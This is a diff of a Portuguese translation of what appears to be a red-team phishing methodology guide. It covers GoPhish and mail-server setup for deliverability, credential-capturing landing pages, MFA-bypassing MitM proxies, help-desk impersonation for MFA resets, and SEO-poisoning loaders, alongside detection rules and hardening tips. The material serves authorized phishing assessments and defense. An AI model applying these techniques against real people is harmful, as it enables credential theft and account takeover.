Para mais informações leia [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
### Buy a trusted domain
|
||||
### Comprar um domínio confiável
|
||||
|
||||
You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\
|
||||
In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in:
|
||||
Você pode procurar em [https://www.expireddomains.net/](https://www.expireddomains.net) por um domínio expirado que você poderia usar.\
|
||||
Para garantir que o domínio expirado que você vai comprar **já tenha um bom SEO** você pode verificar como ele é categorizado em:
|
||||
|
||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
|
||||
## Descobrindo E-mails
|
||||
## Descobrindo Emails
|
||||
|
||||
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% grátis)
|
||||
- [https://phonebook.cz/](https://phonebook.cz) (100% grátis)
|
||||
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
|
||||
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
|
||||
- [https://maildb.io/](https://maildb.io)
|
||||
- [https://hunter.io/](https://hunter.io)
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
Para **descobrir mais** endereços de e-mail válidos ou **verificar os que** você já descobriu você pode checar se consegue brute-force os servidores SMTP da vítima. [Saiba como verificar/descobrir endereços de e-mail aqui](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
Além disso, não se esqueça de que, se os usuários usam qualquer portal web para acessar seus e-mails, você pode verificar se ele é vulnerável a username brute force, e explorar a vulnerabilidade se possível.
|
||||
Para **descobrir mais** endereços de email válidos ou **verificar os que** você já descobriu, você pode checar se consegue brute-force nos servidores SMTP da vítima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
Além disso, não esqueça que se os usuários usam **qualquer web portal para acessar seus mails**, você pode verificar se ele é vulnerável a **username brute force**, e explorar a vulnerabilidade se possível.
|
||||
|
||||
## Configurando GoPhish
|
||||
|
||||
### Instalação
|
||||
### Installation
|
||||
|
||||
Você pode baixá-lo de [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
Você pode baixar em [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
|
||||
Baixe e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\
|
||||
Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Pode ser necessário fazer um tunnel dessa porta para local:
|
||||
Download e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\
|
||||
Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Pode ser necessário tunelar essa porta para local:
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
|
||||
**Configuração do certificado TLS**
|
||||
|
||||
Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando **gophish**.
|
||||
Antes desta etapa, você deve ter **já comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando o **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
@ -112,7 +112,7 @@ mkdir /opt/gophish/ssl_keys
|
||||
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
|
||||
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
```
|
||||
**Mail configuration**
|
||||
**Configuração de e-mail**
|
||||
|
||||
Comece instalando: `apt-get install postfix`
|
||||
|
||||
@ -127,9 +127,9 @@ Depois adicione o domínio aos seguintes arquivos:
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
|
||||
Por fim modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu nome de domínio e **reinicie seu VPS.**
|
||||
Finalmente, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu domínio e **reinicie seu VPS.**
|
||||
|
||||
Agora, crie um **DNS A record** de `mail.<domain>` apontando para o **ip address** do VPS e um **DNS MX** apontando para `mail.<domain>`
|
||||
Agora, crie um **DNS A record** de `mail.<domain>` apontando para o **endereço IP** do VPS e um **DNS MX** record apontando para `mail.<domain>`
|
||||
|
||||
Agora vamos testar o envio de um email:
|
||||
```bash
|
||||
@ -138,7 +138,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
|
||||
```
|
||||
**Configuração do Gophish**
|
||||
|
||||
Pare a execução do gophish e vamos configurá-lo.\
|
||||
Interrompa a execução do gophish e vamos configurá-lo.\
|
||||
Modifique `/opt/gophish/config.json` para o seguinte (observe o uso de https):
|
||||
```bash
|
||||
{
|
||||
@ -213,7 +213,7 @@ case $1 in
|
||||
start|stop|status) "$1" ;;
|
||||
esac
|
||||
```
|
||||
Conclua a configuração do serviço e verifique-o executando:
|
||||
Finalize a configuração do serviço e verifique-o fazendo:
|
||||
```bash
|
||||
mkdir /var/log/gophish
|
||||
chmod +x /etc/init.d/gophish
|
||||
@ -224,13 +224,13 @@ service gophish status
|
||||
ss -l | grep "3333\|443"
|
||||
service gophish stop
|
||||
```
|
||||
## Configurando servidor de mail e domínio
|
||||
## Configurando servidor de email e domínio
|
||||
|
||||
### Espere e seja legítimo
|
||||
### Aguarde e seja legítimo
|
||||
|
||||
Quanto mais antigo for um domínio, menos provável será que ele seja marcado como spam. Portanto você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing. Além disso, se você colocar uma página relacionada a um setor com boa reputação, a reputação obtida será melhor.
|
||||
Quanto mais antigo for um domínio, menos provável que ele seja marcado como spam. Portanto, você deve esperar o máximo possível (pelo menos 1 semana) antes do phishing assessment. Além disso, se você publicar uma página relacionada a um setor com boa reputação, a reputação obtida será melhor.
|
||||
|
||||
Note que mesmo que você tenha que esperar uma semana, você pode finalizar a configuração de tudo agora.
|
||||
Observe que, mesmo que você precise esperar uma semana, pode terminar de configurar tudo agora.
|
||||
|
||||
### Configure o registro Reverse DNS (rDNS)
|
||||
|
||||
@ -238,21 +238,21 @@ Defina um registro rDNS (PTR) que resolva o endereço IP do VPS para o nome de d
|
||||
|
||||
### Sender Policy Framework (SPF) Record
|
||||
|
||||
You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||
Você deve **configurar um SPF record para o novo domínio**. Se você não sabe o que é um SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||
|
||||
You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine)
|
||||
Você pode usar [https://www.spfwizard.net/](https://www.spfwizard.net) para gerar sua política SPF (use o IP da máquina VPS)
|
||||
|
||||
.png>)
|
||||
|
||||
Este é o conteúdo que deve ser definido dentro de um registro TXT no domínio:
|
||||
Este é o conteúdo que deve ser definido dentro de um TXT record no domínio:
|
||||
```bash
|
||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Registro DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
### Autenticação, Relatórios e Conformidade Baseadas em Domínio (DMARC) — Registro
|
||||
|
||||
Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||
|
||||
Você deve criar um novo registro DNS TXT apontando o nome de host `_dmarc.<domain>` com o seguinte conteúdo:
|
||||
Você precisa criar um novo registro DNS TXT apontando o hostname `_dmarc.<domain>` com o seguinte conteúdo:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
@ -260,7 +260,7 @@ v=DMARC1; p=none
|
||||
|
||||
Você deve **configurar um DKIM para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
|
||||
|
||||
Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
> [!TIP]
|
||||
> Você precisa concatenar ambos os valores B64 que a chave DKIM gera:
|
||||
@ -272,12 +272,12 @@ Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/h
|
||||
### Test your email configuration score
|
||||
|
||||
Você pode fazer isso usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||
Basta acessar a página e enviar um e-mail para o endereço que eles fornecem:
|
||||
Basta acessar a página e enviar um e-mail para o endereço que eles informam:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
Você também pode **verificar sua configuração de e-mail** enviando um e-mail para `check-auth@verifier.port25.com` e **lendo a resposta** (para isso você precisará **abrir** a porta **25** e ver a resposta no arquivo _/var/mail/root_ se enviar o e-mail como root).\
|
||||
Verifique se você passa todos os testes:
|
||||
Você também pode **verificar sua configuração de email** enviando um email para `check-auth@verifier.port25.com` e **ler a resposta** (para isso você precisará **abrir** port **25** e ver a resposta no arquivo _/var/mail/root_ se você enviar o email como root).\
|
||||
Verifique se você passou em todos os testes:
|
||||
```bash
|
||||
==========================================================
|
||||
Summary of Results
|
||||
@ -288,40 +288,40 @@ DKIM check: pass
|
||||
Sender-ID check: pass
|
||||
SpamAssassin check: ham
|
||||
```
|
||||
Você também pode enviar uma **mensagem para um Gmail sob seu controle**, e verificar os **cabeçalhos do e-mail** na sua caixa de entrada do Gmail, `dkim=pass` deve estar presente no campo de cabeçalho `Authentication-Results`.
|
||||
Você também pode enviar uma **mensagem para uma conta Gmail sob seu controle**, e verificar os **cabeçalhos do e-mail** na sua caixa de entrada do Gmail, `dkim=pass` deve estar presente no campo de cabeçalho `Authentication-Results`.
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Removendo da Lista Negra do Spamhouse
|
||||
### Removendo da Spamhouse Blacklist
|
||||
|
||||
A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se o seu domínio está sendo bloqueado pelo Spamhouse. Você pode solicitar a remoção do seu domínio/IP em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se o seu domínio está sendo bloqueado pelo spamhouse. Você pode solicitar que seu domínio/IP seja removido em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Removendo da Lista Negra da Microsoft
|
||||
### Removendo da Microsoft Blacklist
|
||||
|
||||
Você pode solicitar a remoção do seu domínio/IP em [https://sender.office.com/](https://sender.office.com).
|
||||
Você pode solicitar que seu domínio/IP seja removido em [https://sender.office.com/](https://sender.office.com).
|
||||
|
||||
## Criar & Lançar Campanha GoPhish
|
||||
## Criar & Lançar GoPhish Campaign
|
||||
|
||||
### Perfil de Envio
|
||||
|
||||
- Defina um **nome para identificar** o perfil do remetente
|
||||
- Decida de qual conta você vai enviar os phishing emails. Sugestões: _noreply, support, servicedesk, salesforce..._
|
||||
- Você pode deixar em branco o username e a password, mas certifique-se de marcar o Ignore Certificate Errors
|
||||
- Decida de qual conta você irá enviar os emails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._
|
||||
- Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar "Ignore Certificate Errors"
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!TIP]
|
||||
> Recomenda-se usar a funcionalidade "**Send Test Email**" para testar se tudo está funcionando.\
|
||||
> Recomendo **enviar os emails de teste para endereços 10min mails** para evitar ficar na blacklist ao realizar os testes.
|
||||
> É recomendado usar a funcionalidade "**Send Test Email**" para testar se tudo está funcionando.\
|
||||
> Recomendo **enviar os emails de teste para endereços 10min mail** para evitar ser blacklisted ao realizar os testes.
|
||||
|
||||
### Email Template
|
||||
|
||||
- Defina um **nome para identificar** o template
|
||||
- Depois escreva um **subject** (nada estranho, apenas algo que você esperaria ler em um email normal)
|
||||
- Em seguida escreva um **assunto** (nada estranho, apenas algo que você esperaria ler em um email comum)
|
||||
- Certifique-se de que marcou "**Add Tracking Image**"
|
||||
- Escreva o **template do email** (você pode usar variáveis como no exemplo a seguir):
|
||||
- Escreva o **modelo de email** (você pode usar variáveis como no exemplo a seguir):
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -340,56 +340,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Note que, **para aumentar a credibilidade do email**, é recomendado usar alguma assinatura presente em um email do cliente. Sugestões:
|
||||
Observe que, **para aumentar a credibilidade do e-mail**, é recomendado usar alguma assinatura retirada de um e-mail do cliente. Sugestões:
|
||||
|
||||
- Envie um email para um **endereço inexistente** e verifique se a resposta contém alguma assinatura.
|
||||
- Procure por **emails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um email para eles e aguarde a resposta.
|
||||
- Tente contactar **algum email válido descoberto** e aguarde a resposta
|
||||
- Envie um e-mail para um **endereço inexistente** e verifique se a resposta contém alguma assinatura.
|
||||
- Procure por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie-lhes um e-mail aguardando a resposta.
|
||||
- Tente contatar **algum e-mail válido descoberto** e aguarde a resposta
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> O Modelo de Email também permite **anexar arquivos para enviar**. Se você também quiser roubar desafios NTLM usando alguns arquivos/documentos especialmente criados [leia esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
> O Email Template também permite **anexar arquivos para enviar**. Se você também quiser roubar desafios NTLM usando alguns arquivos/documentos especialmente criados [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
|
||||
### Landing Page
|
||||
|
||||
- Escreva um **nome**
|
||||
- **Escreva o código HTML** da página web. Note que você pode **importar** páginas web.
|
||||
- Marque **Capture Submitted Data** e **Capture Passwords**
|
||||
- Defina uma **redireção**
|
||||
- Defina uma **redirection**
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Normalmente você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até que fique satisfeito com os resultados.** Depois, cole esse código HTML na caixa.\
|
||||
> Note que se você precisar **usar alguns recursos estáticos** para o HTML (talvez alguns arquivos CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los a partir de _**/static/\<filename>**_
|
||||
> Normalmente você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até ficar satisfeito com os resultados.** Depois, cole esse código HTML na caixa.\
|
||||
> Note que se precisar **usar alguns recursos estáticos** para o HTML (talvez alguns arquivos CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los a partir de _**/static/\<filename>**_
|
||||
|
||||
> [!TIP]
|
||||
> Para a redireção você poderia **redirecionar os usuários para a página principal legítima** da vítima, ou redirecioná-los para _/static/migration.html_ por exemplo, colocar um **spinning wheel (**[**https://loading.io/**](https://loading.io)**) por 5 segundos e então indicar que o processo foi bem-sucedido**.
|
||||
> Para a redirection você pode **redirecionar os usuários para a página principal legítima** da vítima, ou redirecioná-los para _/static/migration.html_ por exemplo, colocar uma **spinning wheel (**[**https://loading.io/**](https://loading.io)**) por 5 segundos e então indicar que o processo foi bem-sucedido**.
|
||||
|
||||
### Users & Groups
|
||||
|
||||
- Defina um nome
|
||||
- **Importe os dados** (note que, para usar o template do exemplo, você precisa do firstname, last name e email address de cada usuário)
|
||||
- **Importe os dados** (note que para usar o template do exemplo você precisa do primeiro nome, sobrenome e endereço de e-mail de cada usuário)
|
||||
|
||||
.png>)
|
||||
|
||||
### Campaign
|
||||
|
||||
Finalmente, crie uma campanha selecionando um nome, o email template, a landing page, a URL, o sending profile e o grupo. Note que a URL será o link enviado às vítimas
|
||||
Por fim, crie uma campanha selecionando um nome, o email template, a landing page, a URL, o sending profile e o grupo. Note que a URL será o link enviado às vítimas
|
||||
|
||||
Note que o **Sending Profile permite enviar um email de teste para ver como ficará o email de phishing final**:
|
||||
Note que o **Sending Profile permite enviar um e-mail de teste para ver como ficará o e-mail de phishing final**:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Eu recomendaria **enviar os emails de teste para endereços 10min mails** para evitar ser listado em blacklists ao fazer testes.
|
||||
> Eu recomendaria **enviar os e-mails de teste para endereços 10min mails** para evitar ser blacklisted durante os testes.
|
||||
|
||||
Uma vez que tudo esteja pronto, basta lançar a campanha!
|
||||
Uma vez que tudo esteja pronto, apenas lance a campanha!
|
||||
|
||||
## Website Cloning
|
||||
|
||||
Se, por qualquer motivo, você quiser clonar o website verifique a página a seguir:
|
||||
Se por algum motivo você quiser clonar o website, confira a seguinte página:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -398,7 +398,7 @@ clone-a-website.md
|
||||
|
||||
## Backdoored Documents & Files
|
||||
|
||||
Em algumas avaliações de phishing (principalmente para Red Teams) você também vai querer **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez apenas algo que dispare uma autenticação).\
|
||||
Em algumas avaliações de phishing (principalmente para Red Teams) você também vai querer **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez algo que apenas dispare uma autenticação).\
|
||||
Confira a página a seguir para alguns exemplos:
|
||||
|
||||
|
||||
@ -410,53 +410,53 @@ phishing-documents.md
|
||||
|
||||
### Via Proxy MitM
|
||||
|
||||
O ataque anterior é bastante esperto pois você está falsificando um website real e coletando as informações inseridas pelo usuário. Infelizmente, se o usuário não colocou a senha correta ou se a aplicação que você falsificou está configurada com 2FA, **essas informações não permitirão que você se passe pelo usuário enganado**.
|
||||
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações inseridas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se a aplicação que você falsificou estiver configurada com 2FA, **essas informações não permitirão que você se passe pelo usuário enganado**.
|
||||
|
||||
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permite gerar um ataque MitM. Basicamente, o ataque funciona da seguinte forma:
|
||||
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permitirá gerar um ataque MitM. Basicamente, o ataque funciona da seguinte forma:
|
||||
|
||||
1. Você **impersona o formulário de login** da página real.
|
||||
2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as encaminha para a página real, **verificando se as credenciais funcionam**.
|
||||
3. Se a conta estiver configurada com **2FA**, a página MitM solicitará o código e, assim que o **usuário o introduzir**, a ferramenta o enviará para a página web real.
|
||||
4. Uma vez que o usuário esteja autenticado você (como atacante) terá **capturado as credenciais, o 2FA, o cookie e qualquer informação** de cada interação enquanto a ferramenta realiza o MitM.
|
||||
1. Você **se passa pelo formulário de login** da página real.
|
||||
2. O usuário **envia** suas **credentials** para sua página falsa e a ferramenta envia essas credenciais para a página real, **verificando se as credentials funcionam**.
|
||||
3. Se a conta estiver configurada com **2FA**, a página MitM solicitará o código e, uma vez que o **usuário o introduza**, a ferramenta o enviará para a página real.
|
||||
4. Uma vez que o usuário esteja autenticado, você (como atacante) terá **capturado as credentials, o 2FA, os cookies e qualquer informação** de cada interação enquanto a ferramenta está realizando o MitM.
|
||||
|
||||
### Via VNC
|
||||
|
||||
E se, em vez de **enviar a vítima para uma página maliciosa** com o mesmo visual da original, você a enviar para uma **sessão VNC com um browser conectado à página real**? Você poderá ver o que ela faz, roubar a senha, o MFA usado, os cookies...\
|
||||
E se, ao invés de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a encaminhar para uma **sessão VNC com um navegador conectado à página real**? Você poderá ver o que ela faz, roubar a senha, o MFA usado, os cookies...\
|
||||
Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
|
||||
## Detecting the detection
|
||||
|
||||
Obviamente uma das melhores maneiras de saber se você foi pego é **procurar seu domínio em blacklists**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\
|
||||
Uma forma simples de verificar se seu domínio aparece em alguma blacklist é usar [https://malwareworld.com/](https://malwareworld.com)
|
||||
Obviamente uma das melhores formas de saber se você foi descoberto é **procurar seu domínio em blacklists**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\
|
||||
Uma maneira fácil de checar se seu domínio aparece em alguma blacklist é usar [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
No entanto, há outras maneiras de saber se a vítima está **ativamente procurando por atividade suspeita de phishing na rede** como explicado em:
|
||||
No entanto, existem outras formas de saber se a vítima está **ativamente procurando por atividades suspeitas de phishing na internet**, como explicado em:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de interação DNS ou HTTP com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e precisará ser muito discreto.
|
||||
Você pode **comprar um domínio com um nome muito similar** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de interação **DNS ou HTTP** com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e precisará ser muito stealth.
|
||||
|
||||
### Evaluate the phishing
|
||||
|
||||
Use [**Phishious** ](https://github.com/Rices/Phishious) para avaliar se seu email vai acabar na pasta de spam, se será bloqueado ou se terá sucesso.
|
||||
Use [**Phishious** ](https://github.com/Rices/Phishious) para avaliar se seu e-mail irá para a pasta de spam, se será bloqueado ou se terá sucesso.
|
||||
|
||||
## High-Touch Identity Compromise (Help-Desk MFA Reset)
|
||||
|
||||
Conjuntos de intrusão modernos cada vez mais pulam iscas por email inteiramente e **diretamente miram o fluxo de trabalho do service-desk / identity-recovery** para derrotar MFA. O ataque é totalmente "living-off-the-land": uma vez que o operador possui credenciais válidas ele pivota com ferramentas administrativas nativas – nenhum malware é necessário.
|
||||
Conjuntos de intrusão modernos cada vez mais pulam iscas por e-mail inteiramente e **miram diretamente o serviço de suporte / fluxo de recuperação de identidade** para derrotar MFA. O ataque é totalmente "living-off-the-land": uma vez que o operador possua credentials válidas, ele pivota com ferramentas administrativas embutidas – nenhum malware é necessário.
|
||||
|
||||
### Attack flow
|
||||
1. Recon da vítima
|
||||
* Colete detalhes pessoais & corporativos do LinkedIn, vazamentos de dados, GitHub público, etc.
|
||||
* Identifique identidades de alto valor (executivos, TI, finanças) e enumere o **processo exato do help-desk** para reset de senha / MFA.
|
||||
2. Social engineering em tempo real
|
||||
* Ligue por telefone, Teams ou chat para o help-desk enquanto se faz passar pelo alvo (frequentemente com **spoofed caller-ID** ou **cloned voice**).
|
||||
* Forneça os PII coletados anteriormente para passar na verificação baseada em conhecimento.
|
||||
* Convença o agente a **resetar o segredo do MFA** ou realizar um **SIM-swap** em um número móvel registrado.
|
||||
* Colete detalhes pessoais & corporativos do LinkedIn, breaches de dados, GitHub público, etc.
|
||||
* Identifique identidades de alto valor (executivos, TI, financeiro) e enumere o **exato processo de help-desk** para reset de senha / MFA.
|
||||
2. Engenharia social em tempo real
|
||||
* Ligue, use Teams ou chat com o help-desk enquanto se passa pela vítima (frequentemente com **caller-ID spoofado** ou **voz clonada**).
|
||||
* Forneça o PII coletado anteriormente para passar pela verificação baseada em conhecimento.
|
||||
* Convença o agente a **resetar o segredo MFA** ou realizar um **SIM-swap** em um número de celular registrado.
|
||||
3. Ações imediatas pós-acesso (≤60 min em casos reais)
|
||||
* Estabeleça um foothold através de qualquer web SSO portal.
|
||||
* Enumere AD / AzureAD com ferramentas nativas (nenhum binário é dropado):
|
||||
* Estabeleça um foothold através de qualquer portal web SSO.
|
||||
* Enumere AD / AzureAD com ferramentas embutidas (nenhum binário dropado):
|
||||
```powershell
|
||||
# list directory groups & privileged roles
|
||||
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
|
||||
@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
|
||||
# Enumerate devices the account can login to
|
||||
Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
```
|
||||
* Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos de **RMM** já liberados no ambiente.
|
||||
* Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos **RMM** já whitelistados no ambiente.
|
||||
|
||||
### Detection & Mitigation
|
||||
* Trate a recuperação de identidade pelo help-desk como uma **operação privilegiada** – exija step-up auth & aprovação do gerente.
|
||||
* Implemente regras de **Identity Threat Detection & Response (ITDR)** / **UEBA** que alertem sobre:
|
||||
* Método de MFA alterado + autenticação de novo dispositivo / geo.
|
||||
* Trate a recuperação de identidade do help-desk como uma **operação privilegiada** – exija step-up auth & aprovação do gerente.
|
||||
* Implemente **Identity Threat Detection & Response (ITDR)** / regras **UEBA** que alertem sobre:
|
||||
* Método de MFA alterado + autenticação a partir de novo dispositivo / geolocalização.
|
||||
* Elevação imediata do mesmo principal (user-→-admin).
|
||||
* Grave chamadas do help-desk e exija um **call-back para um número já registrado** antes de qualquer reset.
|
||||
* Implemente **Just-In-Time (JIT) / Privileged Access** para que contas recém-resetadas não herdem automaticamente tokens de alto privilégio.
|
||||
* Implemente **Just-In-Time (JIT) / Privileged Access** para que contas recém-resetadas **não** herdem automaticamente tokens de alto privilégio.
|
||||
|
||||
---
|
||||
|
||||
## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns
|
||||
Grupos commodity compensam o custo de operações de alto contato com ataques em massa que transformam **motores de busca & redes de anúncios no canal de entrega**.
|
||||
Grupos commodity compensam o custo de operações high-touch com ataques em massa que transformam **mecanismos de busca & redes de anúncios no canal de entrega**.
|
||||
|
||||
1. **SEO poisoning / malvertising** empurra um resultado falso como `chromium-update[.]site` para os anúncios de topo.
|
||||
2. A vítima baixa um pequeno **first-stage loader** (frequentemente JS/HTA/ISO). Exemplos vistos pela Unit 42:
|
||||
1. **SEO poisoning / malvertising** impulsiona um resultado falso como `chromium-update[.]site` para o topo dos anúncios de busca.
|
||||
2. A vítima baixa um pequeno **first-stage loader** (frequentemente JS/HTA/ISO). Exemplos observados pela Unit 42:
|
||||
* `RedLine stealer`
|
||||
* `Lumma stealer`
|
||||
* `Lampion Trojan`
|
||||
3. O loader exfiltra cookies do browser + DBs de credenciais, então puxa um **silent loader** que decide – *em tempo real* – se vai implantar:
|
||||
* RAT (por exemplo AsyncRAT, RustDesk)
|
||||
3. O loader exfiltra cookies do navegador + bancos de credenciais, então puxa um **silent loader** que decide – *em tempo real* – se irá desplegar:
|
||||
* RAT (ex.: AsyncRAT, RustDesk)
|
||||
* ransomware / wiper
|
||||
* componente de persistência (registry Run key + scheduled task)
|
||||
* componente de persistência (Run key no registro + scheduled task)
|
||||
|
||||
### Hardening tips
|
||||
* Bloqueie domínios recém-registrados & aplique **Advanced DNS / URL Filtering** em *search-ads* assim como em e-mail.
|
||||
* Restrinja instalação de software a pacotes MSI assinados / Store, negue execução de `HTA`, `ISO`, `VBS` por política.
|
||||
* Monitore por processos filhos de browsers que abram instaladores:
|
||||
* Monitore por processos filhos de navegadores abrindo instaladores:
|
||||
```yaml
|
||||
- parent_image: /Program Files/Google/Chrome/*
|
||||
and child_image: *\\*.exe
|
||||
```
|
||||
* Faça hunting por LOLBins frequentemente abusados por first-stage loaders (por exemplo `regsvr32`, `curl`, `mshta`).
|
||||
* Faça hunt por LOLBins frequentemente abusados por first-stage loaders (ex.: `regsvr32`, `curl`, `mshta`).
|
||||
|
||||
---
|
||||
|
||||
## AI-Enhanced Phishing Operations
|
||||
Atacantes agora encadeiam **LLM & voice-clone APIs** para iscas totalmente personalizadas e interação em tempo real.
|
||||
